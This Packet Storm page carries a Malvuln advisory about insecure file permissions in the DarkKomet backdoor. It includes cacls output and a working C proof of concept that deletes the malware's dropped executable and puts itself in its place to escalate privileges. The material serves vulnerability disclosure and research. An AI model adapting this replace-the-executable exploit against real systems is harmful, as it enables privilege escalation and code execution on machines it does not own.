exploit the possibilities

Backdoor.Win32.DarkKomet.bhfh Insecure Permissions

Backdoor.Win32.DarkKomet.bhfh Insecure Permissions
Posted Jan 25, 2021
Authored by malvuln | Site malvuln.com

Backdoor.Win32.DarkKomet.bhfh malware suffers from an insecure permissions vulnerability.

tags | exploit
systems | windows
MD5 | 19db0f71751a30f61bad2714f3347026

Backdoor.Win32.DarkKomet.bhfh Insecure Permissions

Change Mirror Download
Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source: https://malvuln.com/advisory/66fa06a4e3e799b059910dc17de295ae.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.DarkKomet.bhfh
Vulnerability: Insecure Permissions
Description: DarkKomet.bhfh creates a hidden dir named "System" under c: drive and drops an EXE named "ÚÈÏÇáÑÍãä.exe". After logoff, any standard user can just delete and replace the executable as DarkKomet grants change (C) permissions to the authenticated users group.
Type: PE32
MD5: 66fa06a4e3e799b059910dc17de295ae
Vuln ID: MVID-2021-0052
Dropped files: ÚÈÏÇáÑÍãä.exe
Disclosure: 01/25/2021

Exploit/PoC:
C:\>cacls C:\System\ÚÈÏÇáÑÍãä.exe
C:\System\ÚÈÏÇáÑÍãä.exe BUILTIN\Administrators:(ID)F
NT AUTHORITY\SYSTEM:(ID)F
BUILTIN\Users:(ID)R
NT AUTHORITY\Authenticated Users:(ID)C

#include "stdio.h"
#include "windows.h"
#define TARGET "C:\\System\\ÚÈÏÇáÑÍãä.exe"
#define TMP "C:\\System\\2.exe"
#define DISABLED_TARGET "C:\\System\\666.tmp"

/* Backdoor.Win32.DarkKomet.bhfh.66fa06a4e3e799b059910dc17de295ae */
/* Insecure Permissions EoP */
/* Log out under as the current privileged user account, run the exploit as standard user */
/* By Malvuln */

BOOL PWNED=FALSE;

BOOL FileExists(LPCTSTR szPath){
DWORD dwAttrib = GetFileAttributes(szPath);
return (dwAttrib != INVALID_FILE_ATTRIBUTES && !(dwAttrib & FILE_ATTRIBUTE_DIRECTORY));
}

void main(void){

if(!FileExists(DISABLED_TARGET)){
WinExec("cmd.exe /c del /a C:\\System\\ÚÈÏÇáÑÍãä.exe", 0);
Sleep(1000);
CopyFile(TARGET, TMP, FALSE);
Sleep(1000);
CopyFile(TMP, DISABLED_TARGET, FALSE);
printf("[+] Backdoor.Win32.DarkKomet.bhfh EoP PoC\n");
Sleep(1000);
printf("[+] Disabled ÚÈÏÇáÑÍãä.exe ...\n");
Sleep(300);
}else{
PWNED=TRUE;
}

if(!PWNED){
char fname[MAX_PATH];
char newLoc[]=TARGET;
DWORD size = GetModuleFileNameA(NULL, fname, MAX_PATH);
if (size){
printf("[+] Copying exploit to vuln System dir...\n");
Sleep(1000);
CopyFile(fname, TARGET, FALSE);
printf("[+] Replaced ÚÈÏÇáÑÍãä.EXE...\n");
printf("[+] Done!\n");
exit(0);
}
}else{
if(FileExists(TMP)){
remove(TMP);
}
printf("[+] Backdoor.Win32.DarkKomet.bhfh PWNED!\n");
printf("[+] MD5: 66fa06a4e3e799b059910dc17de295ae\n");
printf("[+] By Malvuln\n");
system("pause");
}
}


Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).
Login or Register to add favorites

File Archive:

February 2021

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Feb 1st
    33 Files
  • 2
    Feb 2nd
    30 Files
  • 3
    Feb 3rd
    15 Files
  • 4
    Feb 4th
    8 Files
  • 5
    Feb 5th
    11 Files
  • 6
    Feb 6th
    2 Files
  • 7
    Feb 7th
    1 Files
  • 8
    Feb 8th
    37 Files
  • 9
    Feb 9th
    15 Files
  • 10
    Feb 10th
    11 Files
  • 11
    Feb 11th
    26 Files
  • 12
    Feb 12th
    8 Files
  • 13
    Feb 13th
    1 Files
  • 14
    Feb 14th
    1 Files
  • 15
    Feb 15th
    9 Files
  • 16
    Feb 16th
    33 Files
  • 17
    Feb 17th
    6 Files
  • 18
    Feb 18th
    10 Files
  • 19
    Feb 19th
    20 Files
  • 20
    Feb 20th
    1 Files
  • 21
    Feb 21st
    1 Files
  • 22
    Feb 22nd
    17 Files
  • 23
    Feb 23rd
    15 Files
  • 24
    Feb 24th
    16 Files
  • 25
    Feb 25th
    28 Files
  • 26
    Feb 26th
    25 Files
  • 27
    Feb 27th
    0 Files
  • 28
    Feb 28th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2020 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close